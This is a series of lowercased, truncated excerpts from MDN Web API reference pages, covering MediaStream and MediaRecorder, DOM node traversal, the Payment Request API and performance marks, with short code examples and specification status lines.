the mediarecorder interface's error event is fired when an error occurs: for example because recording wasn't allowed or was attempted using an unsupported codec.
... bubbles no cancelable no interface mediarecordererrorevent event handler property onerror for details of the all the possible errors see the documentation for the event handler property: onerror.
... recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.onerror = (event) => { console.error(`error recording stream: ${event.error.name}`) }; recorder.start(); } record(); specifications specification status mediastream recording working draft ...
MediaRecorder.mimeType - Web APIs
note: the term "mime type" is officially considered to be historical; these strings are now officially known as media types.
... }) .catch(function(error) { console.log(error.message); }); changing line 14 to the following causes mediarecorder to try to use avc constrained baseline profile level 4 for video and aac-lc (low complexity) for audio, which is good for mobile and other possible resource-constrained situations.
... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.mimetype' in that specification.
MediaSessionActionDetails.action - Web APIs
the action property is the only required property mediasessionactiondetails dictionary, specifying the type of media session action which the action handler callback is being executed for.
... syntax let mediasessionactiondetails = { action: actiontype }; let actiontype = mediasessionactiondetails.action; value a domstring specifying which of the action types the callback is being invoked for: nexttrack advances playback to the next track.
... specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.action' in that specification.
MediaSessionActionDetails.fastSeek - Web APIs
the boolean property fastseek in the mediasessionactiondetails dictionary is an optional value which, when specified and true, indicates that the requested seekto operation is part of an ongoing series of seekto operations.
... once fastseek is false or not present, the repeating series of seekto actions is complete and you can finalize the state of your web app or content.
... specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.fastseek' in that specification.
MediaStream() - Web APIs
syntax newstream = new mediastream(); newstream = new mediastream(stream); newstream = new mediastream(tracks[]); parameters stream a different mediastream object whose tracks are added to the newly-created stream automatically.
... specifications specification status comment media capture and streamsthe definition of 'mediastream' in that specification.
... candidate recommendation ...
active - Web APIs
example in this example, a new stream whose source is the user's local camera and microphone is requested using getusermedia().
... var promise = navigator.mediadevices.getusermedia({ audio: true, video: true }); promise.then(function(stream) { var startbtn = document.queryselector('#startbtn'); startbtn.disabled = stream.active; };) specifications specification status comment media capture and streamsthe definition of 'active' in that specification.
... candidate recommendation initial definition.
MediaStream.ended - Web APIs
WebAPIMediaStreamended
this property has been removed from the specification; you should instead rely on the ended event or check the value of mediastreamtrack.readystate to see if its value is "ended" for the track or tracks you want to ensure have finished playing.
... specifications no longer part of any specification.
... this property was part of earlier drafts of the media capture and streams specification.
MediaStreamAudioDestinationNode - Web APIs
the mediastreamaudiodestinationnode interface represents an audio destination consisting of a webrtc mediastream with a single audiomediastreamtrack, which can be used in a similar way to a mediastream obtained from navigator.getusermedia.
...you can use this property to get a stream out of the audio graph and feed it into another construct, such as a media recorder.
... example specification specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioSourceNode() - Web APIs
note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastreamsource() method, specifying the stream from which you want to obtain audio.
... examples this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from its mediastream.
....mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( // constraints: audio and video for this app { audio: true, video: false }).then(function(stream) { var options = { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode()' in that specification.
MediaStreamTrack.getSettings() - Web APIs
see capabilities, constraints, and settings for details on how to work with constrainable properties.
... specifications specification status comment media capture and streamsthe definition of 'getsettings()' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.muted - Web APIs
the muted read-only property of the mediastreamtrack interface returns a boolean value indicating whether or not the track is currently unable to provide media output.
... let mutedcount = 0; tracklist.foreach((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification.
... candidate recommendation initial definition.
MediaStreamTrack.onmute - Web APIs
mediastreamtrack's onmute event handler is called when the mute event is received.
... mytrack.onmute = function(evt) { playstateicon.innerhtml = "&#1f507;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onmute' in that specification.
... candidate recommendation initial specification.
MediaStreamTrackAudioSourceNode() - Web APIs
another way to create a mediastreamtrackaudiosourcenode is to call theaudiocontext.createmediastreamtracksource() method, specifying the mediastreamtrack from which you want to obtain audio.
... example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track provided by the device.
...window.webkitaudiocontext)(); if (navigator.mediadevices.getusermedia) { navigator.mediadevices.getusermedia ( { audio: true, video: false }).then(function(stream) { let options = { mediastreamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackEvent() - Web APIs
it is case-sensitive and can be "addtrack" or "removetrack".
... specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent()' in that specification.
... candidate recommendation ...
MediaTrackSettings.cursor - Web APIs
the mediatracksettings dictionary's cursor property indicates whether or not the cursor should be captured as part of the video track included in the mediastream returned by getdisplaymedia().
... syntax cursorsetting = mediatracksettings.cursor; value the value of cursor comes from the cursorcaptureconstraint enumerated string type, and may have one of the following values: always the mouse should always be visible in the video content of the {domxref("mediastream"), unless the mouse has moved outside the area of the content.
... specifications specification status comment screen capturethe definition of 'mediatracksettings.cursor' in that specification.
MediaTrackSupportedConstraints.aspectRatio - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().aspectratio) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.channelCount - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().channelcount) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'channelcount' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.deviceId - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().deviceid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'deviceid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.facingMode - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html <div id="result"> </div> css #result { font: 14px "arial", sans-serif; } javascript let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().facingmode) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'facingmode' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.groupId - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().groupid) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'groupid' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.height - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().height) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'height' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.latency - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().latency) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'latency' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleRate - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplerate) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplerate' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.sampleSize - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().samplesize) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification.
... candidate recommendation initial specification.
MediaTrackSupportedConstraints.width - Web APIs
you can access the supported constraints dictionary by calling navigator.mediadevices.getsupportedconstraints().
... example html content <div id="result"> </div> css content #result { font: 14px "arial", sans-serif; } javascript content let result = document.getelementbyid("result"); if (navigator.mediadevices.getsupportedconstraints().width) { result.innerhtml = "supported!"; } else { result.innerhtml = "not supported!"; } result specifications specification status comment media capture and streamsthe definition of 'width' in that specification.
... candidate recommendation initial specification.
MerchantValidationEvent.methodName - Web APIs
the merchantvalidationevent property methodname is a read-only value which returns a string indicating the payment method identifier which represents the payment handler that requires merchant validation.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent.validationURL - Web APIs
syntax validationurl = merchantvalidationevent.validationurl; value a read-only usvstring giving the url from which to load payment handler specific data needed to complete the merchant verification process.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent.validationurl' in that specification.
... candidate recommendation initial definition.
MerchantValidationEvent - Web APIs
merchantvalidationevent.validationurl secure context a usvstring specifying a url from which the site or app can fetch payment handler specific validation information.
... specifications specification status comment payment request apithe definition of 'merchantvalidationevent' in that specification.
... candidate recommendation initial definition.
MessageEvent.source - Web APIs
the source read-only property of the messageevent interface is a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... syntax let mysource = messageevent.source; value a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter.
... example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MessagePort: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmes...
...sage('init', targetorigin, [channel.port2]); the target can receive the port and start listening for messages on it using code like this: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.addeventlistener('message', (event) => { received.textcontent = event.data; }); myport.start(); }); note that the listener must call messageport.start() before any messages will be delivered to this port.
... this is only needed when using the addeventlistener() method: if the receiver uses onmessage instead, start() is called implicitly: window.addeventlistener('message', (event) => { const myport = event.ports[0]; myport.onmessage = (event) => { received.textcontent = event.data; }; }); specifications specification status html living standard living standard ...
MessagePort.onmessage - Web APIs
the onmessage event handler of the messageport interface is an eventlistener, called whenever an messageevent of type message is fired on the port — that is, when the port receives a message.
...}; example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor.
... specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
MouseEvent.region - Web APIs
WebAPIMouseEventregion
the mouseevent.region read-only property returns the id of the canvas hit region affected by the event.
... example example of using the event.region combined with canvasrenderingcontext2d.addhitregion() method.
... <canvas id="canvas"></canvas> <script> var canvas = document.getelementbyid("canvas"); var ctx = canvas.getcontext("2d"); ctx.beginpath(); ctx.arc(70, 80, 10, 0, 2 * math.pi, false); ctx.fill(); ctx.addhitregion({id: "circle"}); canvas.addeventlistener("mousemove", function(event){ if(event.region) { console.log("hit region: " + event.region); } }); </script> ...
MouseEvent.which - Web APIs
WebAPIMouseEventwhich
the mouseevent.which read-only property indicates which button was pressed on the mouse to trigger the event.
...in this case, the values are read from right to left.
... specification this is not part of any specification.
msFirstPaint - Web APIs
it is available from javascript and can be reported from the field.
... the numerical value reported represents the number of milliseconds between the recorded time and midnight january 1, 1970 (utc).
... example the following example shows how to calculate the time that is required to request the document before the document begins to display for the user.
msRealTime - Web APIs
syntax ptr = object.msrealtime; value boolean value set to true indicates that low-latency playback will be enabled on the media element.
... low-latency playback is useful in communication and some gaming scenarios, but is more demanding on power consumption and less reliable for smooth media playback.
... msrealtime should not be used in non-real-time or non-communication scenarios, such as audio and/or video playback, as this can affects playback startup latency of audio and video playback.
MutationObserverInit - Web APIs
properties at a minimum, one of childlist, attributes, and/or characterdata must be true when you call observe().
...if this property isn't included, changes to all attributes cause mutation notifications.
... specifications specification status comment domthe definition of 'mutationobserverinit' in that specification.
MutationRecord - Web APIs
it is the object that is passed to mutationobserver's callback.
... mutationrecord.attributename string returns the local name of the changed attribute, or null.
... note that for this to work as expected, attributeoldvalue or characterdataoldvalue must be set to true in the corresponding mutationobserverinit parameter of the mutationobserver observe method specifications specification status comment domthe definition of 'mutationrecord' in that specification.
NDEFReader - Web APIs
ndefreader.onerror an event handler for error event which is called to notify that an error occured during reading.
... ndefreader.scan() called to activate the reader (after ensuring hardware and ua compatibility and obtaining permission from the user) or get an error explaining why feature is not available.
... specifications specification status comment web nfc, ndefreader draft initial definition.
NDEFWriter.write() - Web APIs
WebAPINDEFWriterwrite
signal -- optional abortsignal that allows to cancell this write operation.
... notsupportederror there is no nfc adapter compatible with web nfc, or the available nfc adapter does not support pushing messages, or connection can not be established.
... specifications specification status comment web nfc, write() draft initial definition.
NavigationPreloadManager - Web APIs
navigationpreloadmanager.getstate() returns a promise that resolves to an object with properties indicating whether preload is enabled and the contents of the service-worker-navigation-preload.
... addeventlistener('fetch', event => { event.respondwith(async function() { // respond from the cache if we can const cachedresponse = await caches.match(event.request); if (cachedresponse) return cachedresponse; // else, use the preloaded response, if it's there const response = await event.preloadresponse; if (response) return response; // else try the network.
... return fetch(event.request); }()); }); specifications specification status comment service workersthe definition of 'navigationpreloadmanager' in that specification.
Navigator.permissions - Web APIs
the navigator.permissions read-only property returns a permissions object that can be used to query and update permission status of apis covered by the permissions api.
... examples navigator.permissions.query({name:'geolocation'}).then(function(result) { if (result.state === 'granted') { showmap(); } else if (result.state === 'prompt') { showbuttontoenablemap(); } // don't do anything if the permission was denied.
... }); specification specification status comment permissions working draft initial definition.
NavigatorLanguage - Web APIs
specifications specification status comment html living standardthe definition of 'navigatorlanguage' in that specification.
... html5the definition of 'navigatorlanguage' in that specification.
... recommendation initial specification; snapshot of an early version html living standard.
NavigatorPlugins.javaEnabled() - Web APIs
this method indicates whether the current browser is java-enabled or not.
... syntax result = window.navigator.javaenabled() example if (window.navigator.javaenabled()) { // browser has java } notes the return value for this method indicates whether the preference that controls java is on or off - not whether the browser offers java support in general.
... specifications specification status comment html living standardthe definition of 'navigatorplugins.javaenabled' in that specification.
Node.contains() - Web APIs
WebAPINodecontains
the node.contains() method returns a boolean value indicating whether a node is a descendant of a given node, i.e.
...as contains is inclusive and determining if the body contains itself isn't the intention of isinpage this case explicitly returns false.
...false : document.body.contains(node); } specifications specification status comment domthe definition of 'node.contains()' in that specification.
Node.isConnected - Web APIs
WebAPINodeisConnected
the isconnected read-only property of the node interface returns a boolean indicating whether the node is connected (directly or indirectly) to the context object, for example the document object in the case of the normal dom, or the shadowroot in the case of a shadow dom.
...m; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; background: white; border-radius: 10px; opacity: 0; transition: 0.6s all; positions: absolute; bottom: 20px; left: 10px; z-index: 3 } `; // attach the created style element to the shadow dom shadow.appendchild(style); console.log(style.isconnected); // returns true polyfill node.isconnected can be polyfilled with the following code for ie10 and edgehtml: /* * node.isconnected polyfill for ie and edgehtml * 2020-02-04 * * by eli grey, https://eligrey.com * public domain.
... */ if (!('isconnected' in node.prototype)) { object.defineproperty(node.prototype, 'isconnected', { get() { return ( !this.ownerdocument || !( this.ownerdocument.comparedocumentposition(this) & this.document_position_disconnected ) ); }, }); } specifications specification status comment domthe definition of 'isconnected' in that specification.
Node.nextSibling - Web APIs
WebAPINodenextSibling
specifications specification status comment domthe definition of 'node.nextsibling' in that specification.
... living standard no change document object model (dom) level 2 core specificationthe definition of 'node.nextsibling' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'node.nextsibling' in that specification.
Node.nodeName - Web APIs
WebAPINodenodeName
however, in html, text_field's value would read "div", because nodename and tagname return in upper case on html elements in doms flagged as html documents.
... read more details on nodename case sensitivity in different browsers.
... specifications specification status comment domthe definition of 'nodename' in that specification.
NodeFilter - Web APIs
odeiterator = document.createnodeiterator( // node to use as root document.getelementbyid('someid'), // only consider nodes that are text nodes (nodetype 3) nodefilter.show_text, // object containing the function to use for the acceptnode method // of the nodefilter { acceptnode: function(node) { // logic to determine whether to accept, reject or skip node // in this case, only accept nodes that have content // other than whitespace if ( !
... /^\s*$/.test(node.data) ) { return nodefilter.filter_accept } } }, false ); // show the content of every non-empty text node that is a child of root let node; while ((node = nodeiterator.nextnode())) { alert(node.data) } specifications specification status comment domthe definition of 'nodefilter' in that specification.
... living standard document object model (dom) level 2 traversal and range specificationthe definition of 'nodefilter' in that specification.
NodeIterator.detach() - Web APIs
once this method had been called, calls to other methods on nodeiterator would raise the invalid_state_err exception.
... syntax nodeiterator.detach(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); nodeiterator.detach(); // detaches the iterator nodeiterator.nextnode(); // throws an invalid_state_err exception specifications specification status comment domthe definition of 'nodeiterator.detach' in that specification.
... living standard transformed in a no-op document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.detach' in that specification.
NodeIterator.root - Web APIs
WebAPINodeIteratorroot
syntax root = nodeiterator.root; example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false ); root = nodeiterator.root; // document.body in this case specifications specification status comment domthe definition of 'nodeiterator.root' in that specification.
... living standard no change from document object model (dom) level 2 traversal and range specification.
... document object model (dom) level 2 traversal and range specificationthe definition of 'nodeiterator.root' in that specification.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
> var el = document.getelementbyid('div-01').nextelementsibling; console.log('siblings of div-01:'); while (el) { console.log(el.nodename); el = el.nextelementsibling; } </script> this example outputs the following into the console when it loads: siblings of div-01: div script polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("nextelementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "nextelementsibling", { get: function(){ var e = this.nextsibling; while(e && 1 !== e.nodetype) e = e.nextsibling; ...
... } object.defineproperty(item, 'nextelementsibling', { configurable: true, enumerable: true, get: function () { var el = this; while (el = el.nextsibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'childnodenextelementsibling' in that specification.
... element traversal specificationthe definition of 'elementtraversal.nextelementsibling' in that specification.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
div polyfills polyfill for internet explorer 8 this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e = this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; ...
... object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el = this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
... element traversal specificationthe definition of 'elementtraversal.previouselementsibling' in that specification.
Notation - Web APIs
WebAPINotation
specifications specification status comment document object model (dom) level 3 core specificationthe definition of 'notation' in that specification.
... obsolete no change document object model (dom) level 2 core specificationthe definition of 'notation' in that specification.
... obsolete no change document object model (dom) level 1 specificationthe definition of 'notation' in that specification.
OfflineAudioContext.oncomplete - Web APIs
the oncomplete event handler of the offlineaudiocontext interface is called when the audio processing is terminated, that is when the complete event (of type offlineaudiocompletionevent) is raised.
...} example when processing is complete, you might want to use the oncomplete handler the prompt the user that the audio can now be played, and enable the play button.
... offlineaudioctx.oncomplete = function() { console.log('offline audio processing now complete'); showmodaldialog('song processed and ready to play'); playbtn.disabled = false; } specifications specification status comment web audio apithe definition of 'oncomplete' in that specification.
OrientationSensor.quaternion - Web APIs
syntax var quaternion = orientationinstance.quaternion because orientationsensor is a base class, quaternion may only be read from one of its derived classes.
... example // tbd specifications specification status comment orientation sensorthe definition of 'quaternion' in that specification.
... candidate recommendation initial definition.
PageTransitionEvent.persisted - Web APIs
the persisted read-only property indicates if a webpage is loading from a cache.
... syntax window.addeventlistener('pageshow', function(event) { if (event.persisted) { console.log('page was loaded from cache.'); } }); value a boolean.
... specifications specification status comment html living standardthe definition of 'pagetransitionevent: persisted' in that specification.
PageTransitionEvent - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/event" target="_top"><rect x="1" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">event</text></a><polyline points="76,25 86,20 ...
... pagetransitionevent.persisted read only indicates if the document is loading from a cache.
... example html <!doctype html> <html> <body> </body> </html> javascript window.addeventlistener('pageshow', myfunction); function myfunction(event) { if (event.persisted) { alert("the page was cached by the browser"); } else { alert("the page was not cached by the browser"); } } specifications specification status comment html living standardthe definition of 'pagetransitionevent' in that specification.
ParentNode.children - Web APIs
the parentnode property children is a read-only property that returns a live htmlcollection which contains all of the child elements of the node upon which it was called.
...you can access the individual child nodes in the collection by using either the item() method on the collection, or by using javascript array-style notation.
....prototype.children == null) { object.defineproperty(constructor.prototype, 'children', { get: function() { let i = 0, node, nodes = this.childnodes, children = []; while (node = nodes[i++]) { if (node.nodetype === 1) { children.push(node); } } return children; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.children' in that specification.
ParentNode.lastElementChild - Web APIs
in this case, lastelementchild moved to parentnode.
... this is a fairly technical change that shouldn't affect compatibility.
...rototype.lastelementchild == null) { object.defineproperty(constructor.prototype, 'lastelementchild', { get: function() { var node, nodes = this.childnodes, i = nodes.length - 1; while(node = nodes[i--]) { if(node.nodetype === 1) { return node; } } return null; } }); } })(window.node || window.element); specification specification status comment domthe definition of 'parentnode.lastelementchild' in that specification.
PayerErrors.email - Web APIs
WebAPIPayerErrorsemail
the email property is included in a payererrors object if the paymentresponse.payeremail property failed validation; in this case, the property should contain a string describing how to correct the problem.
... // } specifications specification status comment payment request apithe definition of 'payererrors.email' in that specification.
... candidate recommendation initial definition.
PayerErrors - Web APIs
the payererrors dictionary is used by the payment request api to indicate the presence of—and to explain how to correct—validation errors in the payer details.
... example specifications specification status comment payment request apithe definition of 'payererrors' in that specification.
... candidate recommendation initial definition.
PaymentAddress.city - Web APIs
syntax var paymentcity = paymentaddress.city; value a domstring indicating the city or town portion of the address described by the paymentaddress object.
... specifications specification status comment payment request apithe definition of 'paymentaddress.city' in that specification.
... candidate recommendation initial definition.
PaymentAddress.organization - Web APIs
syntax var paymentorganization = paymentaddress.organization; value a domstring whose value is the name of the organization or company located at the address described by the paymentaddress object.
... specifications specification status comment payment request apithe definition of 'paymentaddress.organization' in that specification.
... candidate recommendation initial definition.
PaymentAddress.regionCode - Web APIs
the regioncode read-only attribute of the paymentaddress interface returns a one-, two-, or three-alphanumeric code (domstring) representing the region of the address (e.g., "ca" for california, or "11" for lisbon, portugal).
... if the browser can't determine the region code, or the country doesn't use regions for postal addresses, it returns an empty string.
... syntax var regioncode = paymentaddress.regioncode; value a domstring indicating the one to three character alphanumeric code representing the region portion of the address.
PaymentCurrencyAmount.currency - Web APIs
syntax currency = paymentcurrencyamount.currency; value a domstring specifying the canonical, three-character currency identification code defined by the iso 4217 standard.
... let itemprice = { currency: "usd", value: "42.95" }; specifications specification status comment payment request apithe definition of 'paymentcurrencyamount.currency' in that specification.
... candidate recommendation ...
PaymentDetailsUpdate.error - Web APIs
this message can be used to explain to the user why they cannot submit their payment as currently specified—whether that's because the selected products cannot be shipped to their region or because their address is not served by any of the shipping companies you use.
... specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.error' in that specification.
... candidate recommendation initial definition.
PaymentDetailsUpdate.shippingAddressErrors - Web APIs
in that case, the property in shippingaddresserrors is a string describing the validation error, ideally including suggestions about fixing the error.
... specifications specification status comment payment request apithe definition of 'paymentdetailsupdate.shippingaddresserrors' in that specification.
... candidate recommendation initial definition.
PaymentItem - Web APIs
this can be used to show items such as shipping or tax amounts that depend upon the selection of shipping address, shipping option, or so forth.
... specifications specification status comment payment request apithe definition of 'paymentitem' in that specification.
... candidate recommendation initial definition.
PaymentMethodChangeEvent - Web APIs
for example, if methodname is basic-card, indicating that the basic card payment method is being used for validation, the methoddetails field must be a basiccardchangedetails object.
... specifications specification status comment payment request apithe definition of 'paymentmethodchangeevent()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.abort() - Web APIs
the paymentrequest.abort() method of the paymentrequest interface causes the user agent to end the payment request and to remove any user interface that might be shown.
... var request = new paymentrequest(supportedinstruments, details, options); var paymenttimeout = window.settimeout(() => { window.cleartimeout(paymenttimeout); request.abort().then(() => { print('payment timed out after 20 minutes.'); }).catch(() => { print('unable to abort, because the user is currently in the process ' + 'of paying.'); }); }, 20 * 60 * 1000); /* 20 minutes */ specifications specification status comment payment request apithe definition of 'abort()' in that specification.
... candidate recommendation initial definition.
PaymentRequest.prototype.id - Web APIs
WebAPIPaymentRequestid
if none is provided, the browser automatically sets the id value to a uuid.
... specifications specification status comment payment request apithe definition of 'id' in that specification.
... candidate recommendation initial definition.
PaymentRequest.onshippingaddresschange - Web APIs
to make sure an updated address is included when sending payment information to the server, you should add event listeners for a paymentrequest object after instantiation, but before the call to show().
...}).catch(function(err) { console.error("uh oh, something bad happened", err.message); }); specifications specification status comment payment request apithe definition of 'onshippingaddresschange' in that specification.
... candidate recommendation initial definition.
PaymentRequestEvent.openWindow() - Web APIs
the openwindow property of the paymentrequestevent interface opens the specified url in a new window, if and only if the given url is on the same origin as the calling page.
...it must be on the same origin as the calling page.
... specifications specification status comment payment handler apithe definition of 'openwindow' in that specification.
PaymentRequestUpdateEvent.PaymentRequestUpdateEvent() - Web APIs
return value a new paymentrequestupdateevent object.payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent()' in that specification.
... candidate recommendation initial definition.
PaymentRequestUpdateEvent - Web APIs
methods in addition to methods inherited from the parent interface, event, paymentrequestupdateevent offers the following methods: paymentrequestupdateevent.updatewith() secure context if the event handler determines that information included in the payment request needs to be changed, or that new information needs to be added, it calls updatewith() with the information that needs to be replaced or added.
... specifications specification status comment payment request apithe definition of 'paymentrequestupdateevent' in that specification.
... candidate recommendation initial definition.
Pbkdf2Params - Web APIs
this may be one of: sha-1 sha-256 sha-384 sha-512 warning: sha-1 is considered vulnerable in most cryptographic applications, but is still considered safe in pbkdf2.
...the general guidance here is to use as many iterations as possible, subject to keeping an acceptable level of performance for your application.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.pbkdf2params' in that specification.
performance.clearMarks() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "mark" will be removed from the performance entry buffer.
...performance.clearmarks(); logmarkcount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmarks()' in that specification.
... user timingthe definition of 'clearmarks()' in that specification.
performance.clearMeasures() - Web APIs
if the method is called with no arguments, all performance entries with an entry type of "measure" will be removed from the performance entry buffer.
...performance.clearmeasures(); logmeasurecount() // "found this many entries: 0" specifications specification status comment user timing level 2the definition of 'clearmeasures()' in that specification.
... user timingthe definition of 'clearmeasures()' in that specification.
performance.mark() - Web APIs
WebAPIPerformancemark
the application defined timestamp can be retrieved by one of the performance interface's getentries*() methods (getentries(), getentriesbyname() or getentriesbytype()).
